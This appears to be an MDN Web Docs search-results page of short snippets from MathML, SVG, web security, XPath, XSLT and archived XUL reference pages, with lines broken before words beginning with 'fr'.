fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال maxsize if stretchy is true, this attribute specifies the maximum size of the opera...
... symmetric if stretchy is true, this attribute specifies whether the operator should be vertically symmetric around the imaginary math axis (centered
fraction line).
MathML element reference - MathML
mathml presentation elements a to z math <math> (top-level element) a <maction> (binded actions to sub-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <m
frac> (
fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r...
... (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <m
frac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements ...
Guide to streaming audio and video - Web media technologies
for example, because many web sites' mobile-specific content assume that mobile browsers support hls, firefox for android does as well, in order to avoid strange compatibility errors
from occurring due to this assumption being incorrect.
...for example, hls lets the server stream a video with multiple audio streams which the user can choose
from, in order to hear their own language.
Performance budgets - Web Performance
in order to begin, you need to first measure the devices and connection speeds where your users are coming
from (e.g.
... the lighthouse bot integrates with travis ci and can be used to gather lighthouse and webpage test metrics
from a development url.
PWA developer guide - Progressive web apps (PWAs)
--->>> titles below are just for the list; give articles good seo names and feel
free to tweak those and this as needed...
... using service workers to run offline description alerting the user using notifications description creating a web app
from an existing site description advanced topics pushing data
from the server to your web application some description resource management description integration with the host device description security and privacy description gaming topics for web app developers description polishing web apps web api equivalents for common native apis some description platform-specific tips and issues description web application performance g...
Progressive web apps (PWAs)
everything below this point is left over
from the old version of this page and will be revamped as other content is overhauled.
... serviceworkerware — an express-like micro
framework for easy service worker development.
Web technology reference
the open web is based on a number of technologies which, together, can be used to create everything
from simple sites to powerful web applications.
... if you're new to web development, consider starting with our learning area, which is filled with step-by-step tutorials that will guide you
from total webdev newbie to at least semi-pro!
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
you can rotate the text: <svg height="60" width="200"> <text x="0" y="15" fill="blue" transform="rotate(30 20,50)">example text</text> </svg> using external references svg used for clipping, masking, and filtering can be loaded
from an external source, as long as that source comes
from the same origin as the html document to which it's applied.
... for example, if your css is in a file named default.css, it can look like this: .target { clip-path: url(resources.svg#c1); } the svg is then imported
from a file named resources.svg, using the clip path with the id c1.
SVG Presentation Attributes - SVG: Scalable Vector Graphics
value: <number>|none|inherit; animatable: yes font-stretch it selects a normal, condensed, or expanded face
from a font.
... value: see css font-stretch; animatable: yes font-style it specifies whether a font should be styled with a normal, italic, or oblique face
from its font-family.
accent-height - SVG: Scalable Vector Graphics
the accent-height attribute defines the distance
from the origin to the top of accent characters, measured by a distance within the font coordinate system.
... only one element is using this attribute: <font-face> font-face for <font-face>, accent-height defines the distance
from the origin to the top of accent characters, measured by a distance within the font coordinate system.
additive - SVG: Scalable Vector Graphics
it is
frequently useful to define animation as an offset or delta to an attribute's value, rather than as absolute values.
...this is the default, however the behavior is also affected by the animation value attributes by and to, as described in smil animation: how
from, to and by attributes affect additive behavior.
by - SVG: Scalable Vector Graphics
the starting value for the attribute is either indicated by specifying it as value for the attribute given in the attributename or the
from attribute.
... four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="
freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
calcMode - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value discrete | linear | paced | spline default value linear animatable no discrete this specifies that the animation function will jump
from one value to the next without any interpolation.
... spline interpolates
from one value in the values list to the next according to a time function defined by a cubic bézier spline.
color-interpolation - SVG: Scalable Vector Graphics
for gradients which make use of the href or the deprecated xlink:href attribute to reference another gradient, the gradient uses the propertyʼs value
from the gradient element which is directly referenced by the fill or stroke property.
... recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
color-profile - SVG: Scalable Vector Graphics
this differs
from auto in that it overrides an embedded profile inside an image.
... recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
edgeMode - SVG: Scalable Vector Graphics
wrap this value indicates that the input image is extended by taking the color values
from the opposite edge of the image.
... wrap this value indicates that the input image is extended by taking the color values
from the opposite edge of the image.
filterUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse x, y, width and height represent values in the current coordinate system that results
from taking the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
... objectboundingbox in that case, x, y, width and height represent
fractions or percentages of the bounding box on the referencing element.
fx - SVG: Scalable Vector Graphics
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" ...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"...
fy - SVG: Scalable Vector Graphics
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75"
fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" ...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"...
in - SVG: Scalable Vector Graphics
if no value is provided and this is a subsequent filter primitive, then this filter primitive will use the result
from the previous filter primitive as its input.
...if supplied, then graphics that result
from processing this filter primitive can be referenced by an in attribute on a subsequent filter primitive within the same filter element.
orient - SVG: Scalable Vector Graphics
auto-start-reverse if placed by marker-start, the marker is oriented 180° different
from the orientation that would be used if auto where specified.
...which points outwards
from both ends.
result - SVG: Scalable Vector Graphics
if supplied, then graphics that result
from processing this filter primitive can be referenced by an in attribute on a subsequent filter primitive within the same <filter> element.
...ecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" base
frequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> usage notes value <filter-primitive-reference> default value none animatabl...
seed - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default val...
...ue 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence base
frequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
stitchTiles - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: tran...
... stitch this value indicates that the user agent will automatically adjust the x and y values of the base
frequency such that the <feturbulence> node’s width and height (i.e., the width and height of the current subregion) contain an integral number of the tile width and height for the first octave.
stroke - SVG: Scalable Vector Graphics
recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated
from structured data.
... legend compatibility unknown compatibility unknown note: for information on using the context-stroke (and context-fill) values
from html documents, see the documentation for the non-standard -moz-context-properties property.
to - SVG: Scalable Vector Graphics
the value of the attribute will change between the
from attribute value and this value.
... five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="
freeze"
from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
transform - SVG: Scalable Vector Graphics
also, as a legacy
from svg 1.1, <lineargradient> and <radialgradient> support the gradienttransform attribute, and <pattern> supports the patterntransform attribute, both of which act exactly like the transform attribute.
...matrix(a,b,c,d,e,f) is equivalent to applying the transformation matrix:(acebdf001)\begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} which maps coordinates
from a previous coordinate system into a new coordinate system by the following matrix equalities:(xnewcoordsysynewcoordsys1)=(acebdf001)(xprevcoordsysyprevcoordsys1)=(axprevcoordsys+cyprevcoordsys+ebxprevcoordsys+dyprevcoordsys+f1) \begin{pmatrix} x_{\mathrm{newcoordsys}} \\ y_{\mathrm{newcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatri...
zoomAndPan - SVG: Scalable Vector Graphics
magnification in this context means the effect of a supplemental scale and translate transformation on the outermost svg document
fragment.
... panning represents a translation (i.e., a shift) transformation on an svg document
fragment in response to a user interface action.
<animateColor> - SVG: Scalable Vector Graphics
mitted contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes animation event attributes xlink attributes animation attribute target attributes animation timing attributes animation value attributes animation addition attributes externalresourcesrequired specific attributes by
from to dom interface this element implements the svganimatecolorelement interface.
... example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml"
from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor>' in that specification.
<animateTransform> - SVG: Scalable Vector Graphics
ntpermitted contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate"
from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample attributes global attributes conditional processing attributes » core attributes » animation event attributes » xlink attributes » animation attribute target attributes » animation timing attributes » an...
...imation value attributes » animation addition attributes » externalresourcesrequired specific attributes by
from to type dom interface this element implements the svganimatetransformelement interface.
<feDisplacementMap> - SVG: Scalable Vector Graphics
the <fedisplacementmap> svg filter primitive uses the pixel values
from the image
from in2 to spatially displace the image
from in.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" base
frequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the defi...
<feTurbulence> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes base
frequency numoctaves seed stitchtiles type dom interface this element implements the svgfeturbulenceelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" base
frequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
<image> - SVG: Scalable Vector Graphics
hics referencing elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired transform specific attributes x: positions the image horizontally
from the origin.
... y: positions the image vertically
from the origin.
<marker> - SVG: Scalable Vector Graphics
value type: auto|auto-start-reverse|<angle> ; default value: 0; animatable: yes preserveaspectratio this attribute defines how the svg
fragment must be deformed if it is embedded in a container with a different aspect ratio.
... value type: top|center|bottom|<coordinate> ; default value: 0; animatable: yes viewbox this attribute defines the bound of the svg viewport for the current svg
fragment.
<radialGradient> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 50%; animatable: yes
fr this attribute defines the radius of the start circle of the radial gradient.
... candidate recommendation added
fr attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<radialgradient>' in that specification.
<text> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: 0; animatable: yes dx shifts the text position horizontally
from a previous text element.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically
from a previous text element.
<tspan> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: none; animatable: yes dx shifts the text position horizontally
from a previous text element.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically
from a previous text element.
Linking - SVG: Scalable Vector Graphics
(the problem will be fixed in firefox 2.0.) anyway, the resultant behavior in moz svg is that page2.html will be loaded into the
frame where the svg button was (i.e.
... you would now have page2.html embedded inside a 100x50 pixel
frame inside page1.html).
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
glyph-orientation-vertical) recently implemented presentation attributes: direction, unicode-bidi, font-variant, text-decoration svgtspanelement recently implemented bindings: selectsubstring recently implemented attributes: textlength, lengthadjust tref this feature, present in early draft of the spec, has been removed
from it and is therefor not implemented (bug 273171).
... document
fragments (bug 455986) aren't supported in <svg:feimage>.
Scripting - SVG: Scalable Vector Graphics
the best way to get access to the document representing an svg document is to look at htmli
frameelement.contentdocument (if the document is presented in an <i
frame>) or htmlobjectelement.contentdocument (if the document is presented in an <object> element), like this: var svgdoc = document.getelementbyid("i
frame_element").contentdocument; in addition, the <i
frame>, <embed>, and <object> elements offer a method, getsvgdocument(), which returns the xmldocument representing the element's e...
... inter-document scripting: calling javascript functions when calling a javascript function that resides in the html file
from an svg file that is embedded in an html document, you should use parent.functionname() to reference the function.
Texts - SVG: Scalable Vector Graphics
the attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows
from this point.
... dx start drawing the text with a horizontal offset dx
from the default current position.
Certificate Transparency - Web security
certificate transparency is an open
framework designed to protect against and monitor for certificate misissuances.
...users will be prevented
from visiting sites using non-compliant tls certificates.
How to fix a website with blocked mixed content - Web security
consequently, your website may appear broken to users (if i
frames or plugins don't load, etc.).
...or use a
free online crawler like ssl-check or missing padlock, a desktop crawler like httpschecker, or a cli tool like mcdetect to check your website recursively and find links to insecure content.
Secure contexts - Web security
the primary goal of secure contexts is to prevent mitm attackers
from accessing powerful apis that could further compromise the victim of an attack.
... for example, even for a document delivered over tls within an <i
frame>, its context is not considered secure if it has an ancestor that was not also delivered over tls.
xml:base - XML: Extensible Markup Language
the base url of a element can be queried
from a script using node.baseuri.
... support was removed
from blink (chrome and opera) in 2015: chromium bug 341854 blink-dev mailing list post and
from firefox 66 in bug 903372.
last - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the last function returns a number equal to the context size
from the expression evaluation context.
... syntax last() returns an integer equal to the context size
from the expression evaluation context.
position - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the position function returns a number equal to the context position
from the expression evaluation context.
... syntax position() returns an integer equal to the context position
from the expression evaluation context.
XPath snippets - XPath
this article provides some xpath code snippets—simple examples of how to a few simple utility functions based on standard interfaces
from the dom level 3 xpath specification that expose xpath functionality to javascript code.
...scripts in a web document which might be accessed by edge or internet explorer users should replace the call to new xpathevaluator() with the following
fragment: // xpathevaluator is implemented on objects that implement document var xpe = anode.ownerdocument || anode; in that case the creation of the xpathnsresolver can be simplified as: var nsresolver = xpe.creatensresolver(xpe.documentelement); note however that creatensresolver should only be used if you are sure the namespace prefixes in the xpath expression match those in the docu...
<xsl:namespace-alias> - XSLT: Extensible Stylesheet Language Transformations
the most common use for this element is in generating a stylesheet
from another stylesheet.
... to prevent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree)
from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree.
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
input-type-annotations specifies whether type annotations are stripped
from the element so the same results are produced whether the source documents have been validated against a schema or not.
... use-when determines whether the element and all the nodes that have it as ancestor are excluded
from the stylesheet.
Boxes - Archive of obsolete content
this keeps the image
from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/>...
Cookies - Archive of obsolete content
reading existing cookies cookies for a given host, represented as nsicookie2 objects, can be enumerated as such: let enum = services.cookies.getcookies
fromhost("example.com"); while (enum.hasmoreelements()) { var cookie = enum.getnext().queryinterface(ci.nsicookie2); dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n"); } all cookies, regardless of host, can be enumerated using services.cookies.enumerator rather than getcookies
fromhost().
Customizing the download progress bar - Archive of obsolete content
oads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in
front of the entry for myextension.css so that it will be preprocessed.
Forms related code snippets - Archive of obsolete content
span.zdp-increase-month, span.zdp-increase-year { float: right; margin-left: 2px; } td.zdp-active-cell { padding: 1px 3px; cursor: pointer; color: #000000; text-align: center; vertical-align: middle; } td.zdp-active-cell:hover { background-color: #999999; cursor: pointer; } td.zdp-empty-cell { cursor: not-allowed; } </style> </head> <body> <form name="myform"> <p>
from: <input type="text" readonly class="date-picker" name="date-
from" /> to: <input type="text" readonly class="date-picker" name="date-to" /> </p> </form> </body> </html> note: the current implementation of const (constant statement) is not part of ecmascript 5.
IsDefaultNamespace - Archive of obsolete content
return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown; } case 9: // document_node return isdefaultnamespace(node.documentelement, namespaceuri); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_
fragment_node return false; // unknown case 2: // attribute_node: if (node.ownerelement ) { return isdefaultnamespace(node.ownerelement , namespaceuri); } else { return false; // unknown } default: if (node.parentnode) { // entityreferences may have to be skipped to get...
LookupPrefix - Archive of obsolete content
prefix(namespaceuri); } if (namespaceuri === null || namespaceuri === '') { return null; } switch (node.nodetype) { case 1: // node.element_node return _lookupnamespaceprefix(namespaceuri, node); case 9: // node.document_node return _lookupnamespaceprefix(namespaceuri, node.documentelement); case 6: // node.entity_node case 12: // node.notation_node case 11: // node.document_
fragment_node case 10: // node.document_type_node return null; // type is unknown case 2: // node.attribute_node if (node.ownerelement) { return _lookupnamespaceprefix(namespaceuri, node.ownerelement); } return null; default: if (node.parentnode) { // entityreferences may have to be skipped to get to it return _lookupnamespaceprefix(namespaceuri, node.parentnode); ...
QuerySelector - Archive of obsolete content
along the lines of other
frameworks such as jquery or prototype, shortening the "queryselector" name can be convenient: function $ (selector, el) { if (!el) {el = document;} return el.queryselector(selector); } function $$ (selector, el) { if (!el) {el = document;} return el.queryselectorall(selector); // note: the returned object is a nodelist.
Scrollbar - Archive of obsolete content
example assumes a structure like this: app/chrome/chrome.manifest app/chrome/skin/global/ copy the scrollbars.css
from xulrunner/chrome/classic.jar/skin/classic/global to app/chrome/skin/global/scrollbars.css open the app/chrome/chrome.manifest and add: skin app-global standard/1.0 skin/global/ override chrome://global/skin/xulscrollbars.css chrome://app-global/skin/scrollbars.css xulscrollbars.css are used for windows xp, and nativescrollbars.css on osx.
Delayed Execution - Archive of obsolete content
let idx = delay.timers.push(timer) - 1; return idx; } repeat.timers = []; // repeat a task every 1200ms repeat(1200, doathing); // do something 320ms
from now delay(320, dosomething); ...
XPath - Archive of obsolete content
notes and sample code for xpath and ajax (the following was moved
from document.evaluate) obj.evaluate(xpathexpression,contextnode,namespaceresolver,resulttype,result); //obj and contextnode should be the same object, if context is a ajax xml object (example: returnedxml) this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); retur...
getAttributeNS - Archive of obsolete content
prefixes with the local-name being searched (escape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && thisitem.nodename !== '#document' && thisitem.nodename !== '#document-
fragment') { var xmlnsprefix = new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-
frag...
Updating Commands - Archive of obsolete content
a simple way of doing this is the following: var controller = document.commanddispatcher.getcontrollerforcommand("cmd_paste"); if (controller && controller.iscommandenabled("cmd_paste")){ controller.docommand(command); } the code above first retrieves the controller for the 'cmd_paste' command
from the command dispatcher.
arrowscrollbox - Archive of obsolete content
rollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
assign - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
bbox - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, t...
binding - Archive of obsolete content
properties object, predicate, subject examples fixme: (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
bindings - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
broadcaster - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
broadcasterset - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, tem...
colorpicker - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a palette of colors
from which a user may select by clicking on one of the grid cells.
column - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
columns - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
content - Archive of obsolete content
propiedades tag, uri ejemplos (no son necesarios) atributos inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
deck - Archive of obsolete content
inherited
